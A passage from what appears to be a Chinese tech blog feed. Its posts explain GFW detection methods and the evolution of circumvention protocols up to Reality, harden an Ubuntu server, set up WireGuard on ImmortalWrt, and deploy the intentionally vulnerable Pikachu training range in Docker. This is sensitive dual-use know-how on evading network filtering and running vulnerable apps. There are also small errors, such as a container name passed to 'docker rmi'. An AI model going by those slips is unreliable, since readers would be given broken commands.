当你输入 google.com\n  → ① DNS 查询:把域名 google.com 换成 IP 地址(问\"DNS 服务器\")\n  → ② 拿到 IP,向这个 IP 发起 TCP 连接\n  → ③ 如果是 https,做 TLS 握手(建立加密通道,握手里带 SNI)\n  → ④ 加密传输网页内容
\n

GFW 在每一步都有对应的干预手段，下面的名词就是按这几步展开的

\n
1. DNS —— 域名的\"电话簿\"
\n

DNS(Domain Name System) 解决一件事:人记得住 google.com,但网络只认 IP 地址(如 142.250.x.x)。DNS 就是那本\"域名 → IP\"的电话簿。你每次访问网站,第一步都是先问 DNS:\"google.com 的 IP 是多少?\"

\n

DNS 污染 / DNS 投毒：GFW 最省事的封锁手段。既然你要先问 DNS，那我(GFW)就在答案上做手脚——你问 google.com 的 IP，正常应该返回谷歌的真 IP，但被污染后返回一个假 IP 最终会发现，你压根连不到真谷歌

\n
2. IP 地址 & 端口 —— 网络上的\"门牌号 + 房间号\"
\n\n

IP 封锁:GFW 最粗暴的手段——直接把某个 IP 拉黑,任何人连它都不通。前面讲的\"主动探测确认是梯子后封 IP\"，封的就是这个

\n
3. TCP —— 可靠传输的\"打电话\"约定
\n

TCP(Transmission Control Protocol) 是最常用的传输方式。特点是\"先握手建立连接,再传数据,保证不丢不乱\"。开头有个\"三次握手\"(SYN → SYN-ACK → ACK),你可以理解成打电话前的\"喂?——喂,能听到吗?——能\"

\n

GFW 的 block 是丢包让连接建不起来(超时)，而现实中的 GFW 常发 RST(reset)包——相当于强行挂断电话,连接立刻重置。RST 是 TCP 协议里的\"立即终止\"信号

\n
4. TLS —— 加密的\"信封\"
\n

TLS(Transport Layer Security) 就是 HTTPS 里的那个\"S\"(Secure)。没有它,你和网站之间的数据是明文,谁都能看；有了它，数据被加密封进\"信封\"，中间人(包括 GFW)只能看到信封，看不到里面写了啥

\n

TLS 开始时要握手(handshake)：双方协商加密方式、交换证书、生成密钥。这个握手过程本身有一部分是明文的——这就给 GFW 留了破绽，见下面的 SNI

\n

证书(certificate)：TLS 握手时,网站要出示一张\"身份证\"，证明\"我真的是 google.com，不是假冒的\"。这张证书由权威机构(CA)签发。Reality 偷的\"门面\",偷的就是真实网站的这张证书表现。 自签证书 = 自己给自己发身份证,正规浏览器会警告\"不可信\"

\n
5. SNI —— 信封上的\"明文收件人\"
\n

SNI(Server Name Indication) 是 TLS 握手里的一个字段,作用是告诉服务器\"我要访问的是哪个域名\"。为什么需要它:一台服务器可能同时托管很多网站(同一个 IP)，SNI 让服务器知道该出示哪张证书

\n

关键破绽:SNI 是明文的。 虽然 TLS 把网页内容加密了，但握手阶段的 SNI 字段(\"我要连 google.com\")是不加密、GFW 能直接看到的。所以 GFW 根本不用破解加密,只要看 SNI 里的域名在不在黑名单里，就能封。这叫 SNI 封锁 / SNI-based blocking，是现在真 GFW 的主力手段之一

\n

Reality 之所以强,一部分就是它让 SNI 显示成一个正常大站(如 microsoft.com)，GFW 看 SNI 觉得没问题就放行了

\n
6. 熵值 —— 判断\"这堆数据像不像随机噪音\"
\n

熵(entropy) 是信息论里衡量\"不确定性 / 混乱程度\"的指标

\n

用大白话:一段数据越接近纯随机、越没规律,熵越高;越有规律、越可预测,熵越低

\n

举例(直觉):

\n\n

为什么 GFW 用它抓翻墙：

\n\n

简单来说，熵值高 = 看起来太像随机噪音 = 反而暴露了\"你在藏东西\" 正常流量不会通篇都是噪音,通篇是噪音本身就是一种特征

\n

早期以为\"全加密 = 最安全\"，结果恰恰相反——太干净的随机性反而成了指纹

\n
7.RST 注入 —— GFW 怎么\"强行挂断\"你的连接
\n

上一轮讲过 TCP 用 RST 包表示\"立即终止\"。RST 注入(RST injection) 是 GFW 的经典主动干预手段:

\n

GFW 在旁边监听你的连接,一旦判定要阻断,它伪造一个看起来来自对方的 RST 包塞进来。你的电脑收到这个\"对方发来的\"RST，以为是服务器要断开,就真的把连接关了

\n

关键点:

\n\n
8.中间人 & 旁路 —— GFW 站在什么位置
\n\n
9.DPI —— 深度包检测
\n

DPI(Deep Packet Inspection,深度包检测) 是个统称，指\"不只看包的信封(IP/端口)，还拆开看内容和特征\"（上一轮讲的协议指纹识别，SNI 提取，熵值分析，全都属于 DPI 的范畴）

\n

对比:

\n\n
10.主动探测
\n

研究者是怎么证实 GFW 在主动探测的?

\n

方法很巧：GFW 架一个只有自己知道的 Shadowsocks 服务器，不告诉任何人 IP。结果没多久，就有来自中国的陌生 IP 主动来连这个服务器，发各种畸形探测包。既然除了自己没人知道这个 IP，那这些探测只可能来自\"看到了流量、记下 IP、来复查\"的 GFW。这是\"主动探测\"从猜测变成实锤的经典研究

\n
11.加密 DNS(DoH / DoT)—— 对抗 DNS 污染的手段
\n

既然 DNS 污染的根源是\"DNS 查询是明文,GFW 能看能改\"，那对策就是把 DNS 查询也加密：

\n\n
12.端口封锁 & 协议白名单
\n\n
说完了一些常见的 GFW 的检测手段的技术名词，接下来我们来探讨一下，翻墙协议演化史
\n
第 0 代:VPN(PPTP / L2TP / OpenVPN / IPsec)
\n

思路:建一条加密隧道,所有流量走隧道出境
破绽:VPN 协议有明显固定的握手特征和固定端口。OpenVPN 的握手、IPsec 的特征,GFW 的 DPI 一看一个准
结局:特征太明显,容易被批量识别封锁。于是需要\"看起来不像 VPN\"的东西

\n
第 1 代:Shadowsocks(SS)—— \"让流量看起来像随机噪音\"
\n

思路:不做\"隧道\",而是一个加密的 SOCKS 代理。核心创新是从第一个字节就全加密,没有任何明文握手特征。GFW 想找指纹?没有指纹给你找
GFW 的反击:既然找不到\"像 SS 的特征\",那就反过来找\"不像任何正常协议的特征——全加密 = 高熵随机流(就是上一轮讲的 fet)。再配合主动探测:看到可疑全加密流,主动连过去试探,SS 服务器对畸形包的响应模式暴露了自己
结局:SS 被\"全加密流量检测 + 主动探测\"两面夹击,大量 IP 被封。教训:太干净的随机性,本身就是一种指纹

\n
第 2 代:混淆插件(obfs / simple-obfs / v2ray 的 mKCP 等)
\n

思路:既然\"纯随机\"暴露,那就给 SS 套个壳,伪装成别的东西。比如 obfs 把流量伪装成普通 HTTP 或 TLS,让开头有点\"正常协议的样子\"
破绽:伪装得不够真。伪装成 TLS,但 TLS 握手细节(证书、扩展字段)经不起细看;而且这些伪装本身又成了新指纹(GFW 学会认\"假 TLS\")
结局:一时管用,但伪装和真实之间总有缝,DPI 精细化后逐渐失效

\n
第 3 代:Trojan —— \"干脆用真的 TLS,别伪装了\"
\n

思路:一个反直觉的聪明想法——不要\"伪装成 TLS\",而是\"就用真正的 TLS\"。Trojan 服务器就是一个真的 HTTPS 网站(有真实域名、真实证书)。翻墙流量披着完全合法的 TLS 外衣;如果有人(或 GFW)不带正确密码来访问,服务器就给他看一个真实的正常网页,表现得和普通网站毫无区别
破绽(也是你场景B 的核心):

\n\n
第 4 代:VLESS + XTLS + Reality —— \"偷用别人的真域名\"
\n

这是你场景C 的主角,分三个词拆:

\n\n

Reality 的核心魔法：它不需要你买域名、不需要你自己的证书。它在 TLS 握手时,直接借用一个真实知名大站(如 microsoft.com)的握手和证书——你的 SNI 显示成 microsoft.com,证书也是微软的真证书(因为握手被转发给了真的微软)

\n

对 GFW 来说：

\n\n

这就是为什么 Reality 目前很难被识别:它同时骗过了被动检测(SNI、证书、指纹全正常)和主动探测(探测者看到真微软)。这是当前攻防的前沿

\n
把演化串成一句话
\n
VPN:有明显特征        → 被指纹识别封\nSS:全加密无特征       → 被\"全加密=高熵\"和主动探测封\nobfs:伪装成正常协议   → 伪装不够真,又成新指纹\nTrojan:用真 TLS      → 但用自己冷门域名,是软肋\nReality:偷真站门面    → 被动/主动探测都正常,当前最难识别
\n

贯穿始终的博弈逻辑：

\n
    \n
  1. 翻墙方想让流量\"看起来正常\"
    2. \n
  2. GFW 就找\"什么叫不正常\"的特征
    3. \n
  3. 每一次\"藏\"的方式,都可能变成新的\"特征\"
    4. \n
  4. 直到 Reality 想通——与其自己造一个\"正常\",不如直接借用一个真实的正常
    5. \n
\n

下面我总结了一个目前比较常见的协议图，可供参考

\n
\"\"
\n

免责与说明
本表格是为帮助理解\"翻墙协议演化\"而做的教学性归纳，服务于本篇文章的技术讨论，不构成任何使用建议，抗审查技术处于持续对抗中，未来实际情况可能与此不同，阅读时请结合协议官方文档与最新研究判断

\n
相信看完这些，你会对于 GFW 有一个清晰的理解
", "author": { "name": "云泽" }, "tags": [ "内网模拟GFW实验系列", "Linux学习笔记" ], "date_published": "2026-05-06T22:13:44+09:00", "date_modified": "2026-07-08T10:16:25+09:00" }, { "id": "https://old.zeyun.org/security_enhancement_of-cloud_servers.html", "url": "https://old.zeyun.org/security_enhancement_of-cloud_servers.html", "title": "云服务器的安全加固", "summary": "买了云服务器，第一件事不是装软件，而是把安全基础打好 很多人拿到服务器就直接开始装宝塔、建网站，结果没多久就被扫描爆破（轻则跑满带宽，重则数据全丢）本文整理了一套适用于 Ubuntu Server 的安全加固流程，按步骤做完基本能挡住绝大多数自动化攻击…", "content_html": "

买了云服务器，第一件事不是装软件，而是把安全基础打好

\n

很多人拿到服务器就直接开始装宝塔、建网站，结果没多久就被扫描爆破（轻则跑满带宽，重则数据全丢）本文整理了一套适用于 Ubuntu Server 的安全加固流程，按步骤做完基本能挡住绝大多数自动化攻击

\n

实验环境： Ubuntu Server 22.04.5 LTS（推荐版本，兼容性最好）

\n
Ubuntu 的版本命名\n├── 按\"有没有图形界面\"分\n│   ├── Desktop 版  → 有桌面，给普通电脑用\n│   └── Server 版   → 纯命令行，给服务器用\n│\n└── 按\"支持周期\"分\n    ├── LTS 版      → 长期支持，5年维护\n    └── 普通版      → 只维护9个月
\n

Ubuntu镜像下载：点我跳转

\n

之前演示了安装Ubuntu Desktop版本（点我跳转）

\n

现在我将演示一下如何从零安装没有图形化版本的 Ubuntu Server 22.04.5 LTS

\n

*由于我是本地安装，所以没有ssh连接的这个步骤（正常你选择购买云服务器的话，通常是安装好的版本，可直接跳转至后半段的安全加固的部分）

\n
第一步：选择Try or Install Ubuntu Server
\n
\"\"
\n
第二步：选择界面为English
\n
\"\"
\n
第三步：键盘选择默认的English，这里是Done，点击继续
\n
\"\"
\n
第四步：保持 (X) Ubuntu Server （已经选中即可），不要勾 \"Ubuntu Server (minimized)\"（那个是极简版，功能少），不要勾 \"Search for third-party drivers\"（我们不需要）
\n
\"\"
\n
第五步：配置IP地址（由于我是虚拟环境，所以我这里需要手动配置IP地址）如果你买的VPS云服务器，那么这个IP/DNS是默认给你配好的，千万不要改动！
\n
\"\"
\n
我这里需要手动配置IP地址（仅供参考）
\n
\"\"
\n
第六步：代理配置（这里我们不需要配置代理，所以留空，直接选择Done即可）
\n
\"\"
\n
第七步：配置源（这里我就默认选择官方的源了，后续可换的）这里直接选择Done下一步即可
\n
\"\"
\n
这里是我网段设置的缘故，直接选择Continue即可
\n
\"\"
\n
第八步：磁盘分区选项
\n
和我一样，把 (X) Use an entire disk → 保留（使用整块磁盘），(X) Use an entire disk → 保留（使用整块磁盘）打上 X 即可
\n\n
\"\"
\n
最终的磁盘分区确认界面（选择Done即可）
\n
\"\"
\n

这个弹窗选择Continue即可（最终确认界面）

\n
\"\"
\n

第九步：配置用户名和密码

\n
\"\"
\n

第十步：不要选择Ubuntu Pro服务，只需勾选这下面的即可

\n
\"\"
\n

第十一步：安装远程SSH工具

\n
\"\"
\n

第十二步骤：等待系统完成安装

\n
不需要操作，耐心等待 即可（通常需要 5-15 分钟，取决于网速）
\n
\"\"
\n

安全加固部分如下

\n
第一步：更新系统软件包
\n
sudo apt update && sudo apt upgrade -y
\n
第二步：SSH 安全加固（最重要）
\n
2.1 创建普通用户，禁止 root 直接登录
\n
# 创建新用户\nadduser yourname\n# 加入 sudo 组\nusermod -aG sudo yourname
\n
2.2 配置 SSH 密钥登录
\n

在你的 本地电脑（Windows）上生成密钥对：

\n
ssh-keygen -t ed25519 -C \"your-server\"\n# 默认生成在 C:\\Users\\你的用户名\\.ssh\\id_ed25519
\n

把公钥上传到服务器：

\n
# 在服务器上，切换到新用户\nsu - yourname\nmkdir -p ~/.ssh && chmod 700 ~/.ssh\n# 把你本地的 id_ed25519.pub 内容粘贴进来\nnano ~/.ssh/authorized_keys\nchmod 600 ~/.ssh/authorized_keys
\n
2.3 修改 SSH 配置
\n
nano /etc/ssh/sshd_config
\n

需要修改或确认的关键项：

\n
Port 22222          # 改成非标准端口（减少扫描骚扰）\nPermitRootLogin no  # 禁止 root 登录\nPasswordAuthentication no  # 禁止密码登录（配好密钥后再改）\nMaxAuthTries 3
\n

改完重启 SSH（先不要断开当前连接，开一个新窗口测试）：

\n
systemctl restart sshd
\n
第三步：配置防火墙 UFW
\n
apt install ufw -y\n\n# 先允许你的新 SSH 端口，再启用！顺序很重要\nufw allow 22222/tcp   # 替换成你设的端口\nufw allow 80/tcp      # 如果有 Web 服务\nufw allow 443/tcp\n\nufw enable\nufw status
\n
第四步：安装 Fail2Ban（防爆破）
\n
apt install fail2ban -y\nsystemctl enable fail2ban\nsystemctl start fail2ban
\n

基础配置已经够用，它会自动监控 SSH 登录失败并封 IP

\n
第五步：关闭不需要的服务
\n
# 查看当前监听的端口\nss -tlnp\n# 查看运行的服务\nsystemctl list-units --type=service --state=running
\n

看到不需要的服务就 systemctl disable --now 服务名

", "author": { "name": "云泽" }, "tags": [ "Linux学习笔记" ], "date_published": "2026-05-02T20:58:22+09:00", "date_modified": "2026-05-07T12:12:32+09:00" }, { "id": "https://old.zeyun.org/use_wireguard_home_to_home.html", "url": "https://old.zeyun.org/use_wireguard_home_to_home.html", "title": "使用 WireGuard 实现家庭网络跨网段访问", "summary": "环境说明： 使用ImmortalWrt 24.10.5 作为内网网关（使用家庭路由器下发的固定IP） 家庭内网…", "content_html": "

环境说明：

\n\n

实现思路：

\n
笔记本 (10.10.20.2)\n  ↓ WireGuard 加密隧道\nImmortalWrt wg0 (10.10.20.1)\n  ↓ 路由转发（经过 eth1: 10.10.10.1）\n虚拟机网段 (10.10.10.x)
\n

注意这里有三个网段，不要搞混

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
网段用途
192.168.31.0/24家庭 WiFi，路由器的外网侧
10.10.10.0/24PVE 虚拟机内网（最终访问的）
10.10.20.0/24WireGuard 专用虚拟网段（新建的）
\n

*注意事项：

\n\n

有关于 ImmortalWrt 的配置部分

\n

（我这里的ImmortalWrt为了方便演示和理解，我安装了图形化的操作环境）

\n

第一步：登录ImmortalWrt Web操作界面

\n

这里我装了一个主题（都是一样的用法）

\n
\"\"
\n

第二步：安装必要的 WireGuard 装包

\n

ImmortalWrt 已经内置了 wireguard-tools 和 kmod-wireguard（内核模块）

\n

按照下图所示，搜索这3个包，并安装

\n
\"\"
\n

这些wireguard资源包，如果能搜索到，可以直接在图形化界面里安装，如果搜索不到，可使用如下bash命令，在终端里安装

\n
opkg update && opkg install luci-proto-wireguard wireguard-tools kmod-wireguard
\n

装完之后刷新 LuCI 页面，网络 → 接口 → 新建接口时，协议下拉列表里就会出现 WireGuard VPN 选项

\n
\"\"
\n

第三步：创建 wg0 接口

\n

进入 网络 → 接口 → 添加新接口：

\n\n

进入配置页面后：

\n
    \n
  1. 点「生成新的密钥对」—— 私钥和公钥自动填好
    2. \n
  2. 把公钥单独复制保存，后面配客户端要用
    3. \n
  3. 监听端口填 51820（固定端口，不要用随机）
    4. \n
  4. IP 地址点绿色 +，填 10.10.20.1/24
    5. \n
\n
\"\"
\n

（我们配置的这个 IP 是路由器在 WireGuard 虚拟网段里的地址，就像它在这个虚拟局域网里的\"门牌号\"）

\n

第四步：防火墙设置

\n

在 wg0 接口的「防火墙设置」标签，把防火墙区域选为 lan

\n
\"\"
\n

(把 VPN 拨进来的客户端当成\"自家人\"，和内网设备享受同等待遇，可以互相访问)

\n

第五步：添加对端（Peer）

\n

切换到「对端」标签，点「添加对端」，填写笔记本的信息

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
字段填写内容
描述My Computer（随便写，备注用）
公钥笔记本客户端的公钥（暂时先不填，别急着保存，获取请见第六步）
允许的 IP10.10.20.2/32
持续保活25
\n

第六步：配置笔记本客户端

\n

下载Wireguard客户端：点我前往官网

\n

安装完之后：

\n
    \n
  1. 点「新建隧道 → 新建空隧道」
    2. \n
  2. 它会自动生成客户端的密钥对，界面上显示公钥
    3. \n
  3. 把这个公钥填回第四步的服务端配置里
    4. \n
\n
\"\"
\n
\"\"
\n

配置文件内容如下（直接粘贴在上图红色框框的部分）

\n
Address = 10.10.20.2/24\nDNS = 10.10.10.1\n\n[Peer]\nPublicKey = <服务端公钥，就是第二步复制的那串>\nEndpoint = 192.168.31.11:51820\nAllowedIPs = 10.10.10.0/24, 10.10.20.0/24\nPersistentKeepalive = 25
\n

重点说一下 AllowedIPs 这个参数，翻译成人话就是：只有访问这两个网段的流量才走 WireGuard 隧道，其他流量（比如你正在用的 v2rayN）完全不受影响

\n

如果你写 0.0.0.0/0 才会把所有流量都抢过来（这里我们配置的时候选择这个我们需要的两个10和20网段）

\n
回到网页端，配置 ImmortalWrt  上的信息
\n

最终配置的像我下图一样即可

\n
\"\"
\n
\"\"
\n

第七步：保存并应用

\n

服务端配置完之后，点「保存并应用」，然后在笔记本客户端点「连接」

\n
\"\"
\n

验证&排错部分

\n

先验证一下机器能否Ping通内网的网关

\n
\"\"
\n

发现没用问题后，尝试远程连接内网机器

\n
\"\"
\n

可以连通，即为成功

\n
我在配置时候遇到的问题
\n
问题一：激活之后 ping 不通任何内网地址
\n

现象：客户端显示已连接，但 ping 10.10.20.1 全部超时

\n

排查：在 ImmortalWrt 终端执行 wg show，发现输出里没有任何 peer 信息，说明服务端根本没加载到对端配置（例如下图所示）

\n
\"\"
\n

原因：LuCI 保存了配置，但接口没有重新加载，配置只写进了文件却没有应用到内核

\n

使用以下命令，重启接口

\n
ifdown wg0 && ifup wg0
\n

重启接口之后再执行 wg show，peer 就出现了，同时能看到 latest handshake: X seconds ago，说明握手成功（如下图所示）

\n
\"\"
\n

问题二：能 ping 通路由器但 RDP 连不上虚拟机（这里我以windows为例）

\n

排查：你可能没用开启远程访问的权限，请自行检查

\n
\"\"
\n

总结

\n

整个流程其实不复杂，核心就三件事：

\n
    \n
  1. ImmortalWrt上建 WireGuard 接口，分配虚拟网段
    2. \n
  2. 客户端和服务端互换公钥，建立信任
    3. \n
  3. AllowedIPs 控制哪些流量走隧道
    4. \n
\n

最容易踩的坑是配置保存后接口没有重载，只要 ifdown wg0 && ifup wg0 重启一下就好了

", "author": { "name": "云泽" }, "tags": [ "网络工具介绍", "Linux学习笔记" ], "date_published": "2026-05-02T16:56:26+09:00", "date_modified": "2026-05-02T17:57:53+09:00" }, { "id": "https://old.zeyun.org/docker1.html", "url": "https://old.zeyun.org/docker1.html", "title": "Linux虚拟机+Docker部署本地靶场", "summary": "前言： 在进行安全测试或靶场练习时，直接在本地物理机上运行相关服务（如 MySQL 等）存在一定风险，可能影响系统稳定性甚至带来安全隐患。因此，更推荐使用“虚拟机 +…", "content_html": "

前言：

\n

在进行安全测试或靶场练习时，直接在本地物理机上运行相关服务（如 MySQL 等）存在一定风险，可能影响系统稳定性甚至带来安全隐患。因此，更推荐使用“虚拟机 + Docker”的方式来搭建实验环境

\n

通过这种方式，我们可以在隔离的虚拟环境中快速部署和管理多个靶场实例，在保证主机安全的同时，也便于环境的复用与销毁，提高学习与测试效率

\n

需要注意的是，在部署 Docker 之前，请确保当前环境（物理机或虚拟机）具备良好的网络访问能力，否则可能会影响镜像的下载与容器的正常运行

\n

本教程的结尾附上了docker常见的命令表，可供参考（在本文的最后）

\n
虚拟机桥接设置：
\n

在部署 Docker 之前，需要先配置虚拟机的网络模式。本文采用桥接模式，使虚拟机能够直接接入局域网，从而保证后续服务部署与访问的正常进行

\n

环境说明：

\n\n

CentOS7镜像：下载地址1（NAS分享链接）下载地址2（种子链接）

\n

如果第一个链接挂了，请使用第二个下载链接（种子使用教程：点我前往）

\n

添加windows防火墙规则

\n
步骤一：Win+R，输入control打开控制面板
\n
\"\"
\n
步骤二：依次按照下图，找到“高级设置”
\n
\"\"
\n
步骤三：新建一条windows的防火墙策略
\n
\"\"
\n
步骤四：选择端口设置
\n
\"\"
\n
步骤五：选择协议（*注：这里的端口要设置的和clash或者其他的代理工具所提供的端口一致，不能乱填）
\n
\"\"
\n
步骤六：选择“允许连接”
\n
\"\"
\n
步骤七：把所有的网络环境都勾选上
\n
\"\"
\n
步骤八：最终取一个自己记得住的名字即可
\n
测试连接：
\n

打开VMware的设置，将网卡模式设置成NAT

\n
\"\"
\n
检查物理机和虚拟机的连通性
\n

输入以下命令查看虚拟机的IP地址

\n
ip addr | more
\n

测试连通性

\n
\"\"
\n

代理配置部分：

\n

*注：如果你完全使用国内的镜像站操作，那么也不必配置代理，这部分可跳过（如果没有科学上网，也请别担心，我在后面docker安装好了之后的部分会提到使用镜像站的方法）

\n

（请自行解决科学上网的部分，这里我直接跳过）

\n
\"\"
\n

我使用的是Clash Verge，这里就以Clash的局域网模式来示例

\n
\"\"
\n

在CentOS7的配置：

\n

首先确保这个CentOS7能够远程SSH连接（后续粘贴命令很方便）

\n

我使用的是MobaXtream（点我下载，密码：enk9）点我跳转软件官网

\n
\"\"
\n

打开CMD，输入ipconfig命令来查看自己的Vmware里的ip地址信息

\n
\"\"
\n

执行以下代码，使得CentOS7的代理指向宿主机的端口（这里我的这个是153，你的需要替换成你自己的端口）

\n
export http_proxy=http://192.168.153.1:7897\nexport https_proxy=http://192.168.153.1:7897
\n

将代理配置永远写入（不建议这么做，这里下载docker也只是临时的，所以临时设置一下即可）可跳过

\n
步骤一：编辑配置文件
\n
vi ~/.bashrc
\n
步骤二：在文件末尾添加上述两行 export 命令，保存退出后执行以下命令
\n
source ~/.bashrc
\n

即可保存成功

\n

验证部分：

\n

在终端中使用如下命令查看是否成功连接外网

\n
curl -I www.google.com
\n

下图即为成功（可以看到这里已经是200 OK了，代表已经获取到了响应头）

\n
\"\"
\n

开始部署docker

\n
步骤一：安装 Docker 引擎
\n

（CentOS 7 自带的软件包版本通常较低，建议通过 Docker 官方的仓库进行安装，以确保版本最新）

\n

卸载旧版本（可选）如果系统之前安装过旧版 Docker，请先清理：

\n
sudo yum remove docker \\\n                  docker-client \\\n                  docker-client-latest \\\n                  docker-common \\\n                  docker-latest \\\n                  docker-latest-logrotate \\\n                  docker-logrotate \\\n                  docker-engine
\n
步骤二：设置存储库
\n

执行以下命令，安装必要的工具包并添加阿里云仓库源：

\n
sudo yum install -y yum-utils\nsudo yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
\n
步骤三：生成缓存并安装（第一次安装不用清理缓存，不过我还是建议清理一下，避免出错）
\n

执行以下命令，清理旧缓存

\n
sudo yum clean all
\n
建立新缓存并安装
\n
sudo yum makecache fast\nsudo yum install -y docker-ce docker-ce-cli containerd.io
\n
步骤四：启动docker并设置开机自启
\n
sudo systemctl start docker\nsudo systemctl enable docker
\n
验证docker是否部署成功
\n

输入 docker version，看到 Client 和 Server 信息即表示安装成功（如下图所示）

\n
\"\"
\n

虚拟机Docker的代理的设置

\n
方法一：使用国内镜像站的配置
\n
步骤一：创建或编辑 Docker 的配置文件
\n
sudo mkdir -p /etc/docker\nsudo vi /etc/docker/daemon.json
\n
步骤二：在文件中粘贴以下内容（推荐如下的国内镜像站）
\n
{\n    \"registry-mirrors\": [\n        \"https://docker.1panel.live\",\n        \"https://hub.rat.dev/\",\n        \"https://docker.chenby.cn\",\n        \"https://docker.kubesre.xyz\",\n        \"https://huecker.io\",\n        \"https://dockerhub.timeweb.cloud\",\n        \"https://dockerproxy.com\",\n        \"https://docker.anyhub.us.kg\",\n        \"https://dockerhub.icu\",\n        \"https://docker.aws19527.cn\",\n        \"https://registry.dockermirror.com\",\n        \"https://hub-mirror.c.163.com\",\n        \"https://mirror.baidubce.com\",\n        \"https://ccr.ccs.tencentyun.com\",\n        \"https://docker.m.daocloud.io\",\n        \"https://docker.mirrors.ustc.edu.cn\"\n    ]\n}\n
\n
步骤三：保存后，重启 Docker 服务使配置生效：
\n
sudo systemctl daemon-reload\nsudo systemctl restart docker
\n
步骤四：验证国内镜像是否生效
\n
docker info | grep -A 10 \"Registry Mirrors\"
\n

输出结果如下图所示即可

\n
\"\"
\n
至此，国内镜像方法配置结束
\n
方法二：使用刚刚配置的本地代理
\n

如果你没有代理工具，可使用国内镜像站的即可

\n

使用代理的时候，这里需要配置两处

\n\n
第一处：配置 Docker Daemon（让 docker pull、docker run 下载镜像时走代理）
\n
sudo mkdir -p /etc/systemd/system/docker.service.d\nsudo vi /etc/systemd/system/docker.service.d/http-proxy.conf
\n

在文件中添加以下内容（把 http://127.0.0.1:7890 改成你自己的代理地址和端口）

\n
[Service]\nEnvironment=\"HTTP_PROXY=http://127.0.0.1:7897\"\nEnvironment=\"HTTPS_PROXY=http://127.0.0.1:7897\"\nEnvironment=\"NO_PROXY=localhost,127.0.0.1,::1\"
\n

这里我的是7897端口，所以在后面配置这个7897

\n

按下：，输入wq，保存后执行：

\n
sudo systemctl daemon-reload\nsudo systemctl restart docker
\n

验证代理镜像是否生效

\n
sudo systemctl show --property=Environment docker
\n
第二处：配置 Docker Client（让容器内部默认走代理，新版 Docker 推荐方式）
\n

创建或编辑用户配置文件

\n
mkdir -p ~/.docker\nvi ~/.docker/config.json
\n

添加以下内容：

\n
{\n  \"proxies\": {\n    \"default\": {\n      \"httpProxy\": \"http://127.0.0.1:7897\",\n      \"httpsProxy\": \"http://127.0.0.1:7897\",\n      \"noProxy\": \"localhost,127.0.0.1\"\n    }\n  }\n}
\n

这个配置会让新启动的容器自动继承代理环境变量

\n
临时测试代理（不想永久配置时）
\n

直接在命令前加环境变量

\n
HTTP_PROXY=http://127.0.0.1:7890\nHTTPS_PROXY=http://127.0.0.1:7890
\n

配置完后，试一下拉取镜像：

\n
docker pull hello-world
\n

可以看到，我这里可以成功拉取镜像（这里仅仅做测试，就不运行了）

\n
\"\"
\n

Docker镜像部署

\n

访问docker hub，寻找我们需要的镜像

\n

docker hub：点我前往

\n

这里我会使用这个pikachu网络安全靶场，作为从零开始部署整个靶场的全流程（包含每一步的详细原理）从而带你认识docker的部署于使用

\n
具体的流程图如下
\n
\"\"
\n
第一步：寻宝（Docker Hub 搜索与选择）
\n

这里我找到了我需要的靶场，并且和它对应的部署链接

\n
\"\"
\n
第二步：入库（拉取镜像到本地）
\n

输入以下命令，拉取area39/pikachu的镜像文件（如果下载失败，请检查之前的环境配置）

\n
docker pull area39/pikachu:latest
\n\n
第三步：开工（运行容器）
\n

这是最关键的一步，把静态的“零件”变成动态的“程序”

\n
docker run -d -p 8765:80 --name my_pikachu area39/pikachu:latest
\n\n
第四步：巡查（确认容器状态）
\n

命令运行完会返回一串长字符（容器 ID），但这不代表程序真的跑稳了

\n

输入以下命令，查看当前正在运行的容器：

\n
docker ps
\n\n
第五步：破壁（放行系统防火墙）
\n

即便 Docker 内部映射好了端口，CentOS 7 自带的 firewalld 防火墙默认通常只开启了 22 端口（SSH）。你需要手动推开 8765 这扇大门

\n

输入以下命令，永久放行8765端口：

\n
sudo firewall-cmd --zone=public --add-port=8765/tcp --permanent
\n

使用以下命令，重新加载防火墙配置，让刚才的修改立即生效

\n
sudo firewall-cmd --reload
\n\n
第六步：验收（在浏览器中与它见面）
\n

在你的物理机（比如你的 Windows 电脑）浏览器地址栏输入： http://服务器IP:8765

\n

我这里的是192.168.153.128，那就直接输入http://192.168.153.128:8765，即可访问

\n
\"\"
\n
第七步：上锁（设置容器“自动复活甲”）
\n

即使容器现在跑得欢，如果虚拟机重启，它默认是不会自己活过来的。我们需要给它补上一粒“后悔药”，让它学会自救

\n
docker update --restart=always my_pikachu
\n\n

给容器加了“复活甲”还不够，如果你的 CentOS 7 开机时根本没启动 Docker 软件（那个总管），那容器也无从谈起

\n

输入以下命令，让docker服务，开启自启动：

\n
sudo systemctl enable docker
\n
第八步：善后（停止与清理）
\n

如果你练习完了，不想让这个容器继续占用资源

\n

输入以下命令，停止容器：

\n
docker stop my_pikachu
\n

删除容器命令（*注意：删除后，你在容器里做的改动会消失，但镜像还在）

\n
docker rm my_pikachu
\n\n

如果你以后不打算再玩这个镜像了，需要把它从磁盘上抹掉

\n
docker rmi my_pikachu
\n\n

Docker 常用命令（超实用清单，建议收藏）

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
动作分类命令部分通俗解释实战案例
环境检查systemctl show --property=Environment docker查水表：看看 Docker 内部上网有没有挂代理确认是否能顺畅拉取国内外镜像
入库/下载docker pull [镜像名]下订单：从云端仓库把零件包拉到本地docker pull area39/pikachu
给容器取名--name [自定义名称]起绰号：给你的容器起个名字，方便以后点名在 run 命令中加上 --name my-pikachu
开工/运行docker run -d -p [端口映射] --name [名] [镜像]组装并开机：后台运行并分配名字和端口docker run -d -p 8080:80 --name pikachu area39/pikachu
查看状态docker ps -a点名：看看有哪些容器在干活，哪些在偷懒检查名为 pikachu 的容器是否状态为 Up
停止/拆除docker stop/rm [名字/ID]下班/拆迁：让容器停止或直接销毁docker rm -f pikachu
清理零件docker rmi [镜像ID]清空仓库：删掉本地存着的镜像原始包注意：必须先删掉关联容器才能删镜像
\n
感谢您的访问，本章教程到此结束(*/ω＼*)
